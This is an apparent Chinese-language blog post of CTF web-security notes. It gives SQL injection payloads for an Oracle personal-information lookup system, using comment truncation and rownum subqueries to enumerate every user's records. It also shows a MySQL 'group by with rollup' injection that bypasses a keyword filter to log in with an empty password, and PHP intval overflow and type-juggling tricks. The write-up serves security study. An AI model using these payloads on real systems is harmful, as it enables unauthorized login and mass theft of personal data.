09月13, 2018

CTF-web 笔记 2

Oracle 注入与 rownum

某查询系统,输入姓名、证件号,可查询个人信息。

后台 SQL 语句:

select * from users where XM='用户输入的姓名' and ZJH in (upper('用户输入的证件号'),'用户输入的证件号',lower('用户输入的证件号'));

ZJH被函数包裹不容易注入,故选择在XM进行注入。

由于 Oracle 数据库的union select限制极其严格,而使用order by发现有 60 个字段。

一个个尝试数据类型的匹配需要消耗很长的时间,故不考虑查询dual表。

若只知道姓名,可用如下 payload 进行注入:

某人的姓名' -- 

SQL 语句等价于:

select * from users where XM='某人的姓名';

如此,只知道姓名也可成功登录。

但是XM是一个外键,包括重名的情况,查询结果可能会有多条。

经过测试,后台会取查询出来的临时表的第一条,作为登录的用户。

以下 payloads 查询出所有拥有某个相同姓名的用户:

重名者姓名' and XH>'0' order by XH -- 
重名者姓名' and XH>'上个查询结果的学号' order by XH -- 
重名者姓名' and XH>'上个查询结果的学号' order by XH -- 
重名者姓名' and XH>'上个查询结果的学号' order by XH -- 

......

学号XH是主键,在查询时根据学号排序,使得第一条结果是所有结果中XH最小的。

每次查询,获得当前用户的XH,缩小下次查询的范围,直到查出所有重名者信息为止。

在不知道所有人任何信息的情况下,可使用如下 payloads 配合脚本,查出数据库中所有的个人信息:

' OR XH=(select XH from (select XH from users where XH>'0' order by XH) where rownum=1) -- 
' OR XH=(select XH from (select XH from users where XH>'上个查询结果的学号' order by XH) where rownum=1) -- 
' OR XH=(select XH from (select XH from users where XH>'上个查询结果的学号' order by XH) where rownum=1) -- 
' OR XH=(select XH from (select XH from users where XH>'上个查询结果的学号' order by XH) where rownum=1) -- 

......

经测试,当后台接收的查询结果大于3600条左右时,会出现溢出报错。

若把所有XH大于某个值的用户都查出来,符合条件的结果数量会超出后端 Java 的处理范围。

而 Oracle 不支持 MySQL 的limit语句,故使用嵌套查询与rownum来实现类似于limit的功能。

rownum是 Oracle 特有的字段,查询出来的临时表的所有结果都有一个rownum

用内层查询查询出一个庞大的结果,根据rownum取出第一条的主键XH进行外层查询。

这样查询出来的结果只有一条,传入后端 Java 时,不会报错。


巧用 group by with rollup

后台 PHP 通过如下语句查询出某个账号的密码:

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);

若查询结果与 POST 上去的密码一致时即可登录。

过滤了以下关键词:

and select from where union join sleep benchmark , ( )

可在用户名uname中构造如下 payloads:

' or 1 group by pwd with rollup limit 1 offset 0 -- 
' or 1 group by pwd with rollup limit 1 offset 1 -- 
' or 1 group by pwd with rollup limit 1 offset 2 -- 

......

SQL 语句变为:

SELECT * FROM interest WHERE uname='' or 1 group by pwd with rollup limit 1 offset X;

uname=''or1为真,查询的结果是整张表的所有数据,以pwd字段分组。

with rollup会建立一个pwd字段值为空的行,通过limitoffset找到该行。

POST 一个空的密码,与查询结果比较,空=空,绕过登录。


PHP 数据类型自动转换与 intval() 溢出

要求输入一个不为回文串的字符串$req["number"],需满足:

intval(strrev($req["number"]))==intval($req["number"])
$req['number']==strval(intval($req['number']))

若参数为一个字符串,且字符串中数字的值大于2147483647时,函数intval()会返回2147483647。 若输入"2147483647"

非回文串

intval("2147483647")=intval("7463847412")=2147483647

符合条件。

这个方法仅限于32位系统下的情况,但是当环境为64位时,上限则是9223372036854775807,反转后的数值没有超出上限。

由于 PHP 是弱类型语言,它可以根据运行环境的变化而自动进行数据类型的转换。

规则如下:

1.1 转为布尔型(即返回值为0)
    空字符串''或""
    数字0或0.0 字符'0'或"0"
    空值NULL 没有成员的数组
    其余都转换成布尔型true,包含资源 

1.2 转为整数或浮点型    
    如果字符串为合法的数字字符串,则直接转换成整型/浮点型
    如果字符串中包含.或e或E,则转换成浮点型;否则转换成整型
    非法的数字字符串转换成数值0
    布尔型true转换成数字1,false转换成数字0
    空值null将转换成数字0

1.3 转为字符串型    
    数值将直接转换成数字字符串
    布尔型的true转换成字符"1";false转换空字符串
    数组将转换成字符串Array
    资源将转换成Resource id#数字
    空值null将转换成空字符串

如下面这段代码的输出结果是 yes:

<?php
    if("0e-0"=="0" && "-0"=="0")
        echo 'yes';
?>

故可以输入"-0"

非回文串

intval("-0")=intval("0-")=0

"-0"=="0"为真

符合条件。

也可以使用科学计数法,输入"0e-0"

非回文串

intval("0e-0")=intval("0-e0")=0

"0e-0"=="0"为真

符合条件。

本文链接:https://blog.cindemor.com/post/ctf-web-2.html

-- EOF --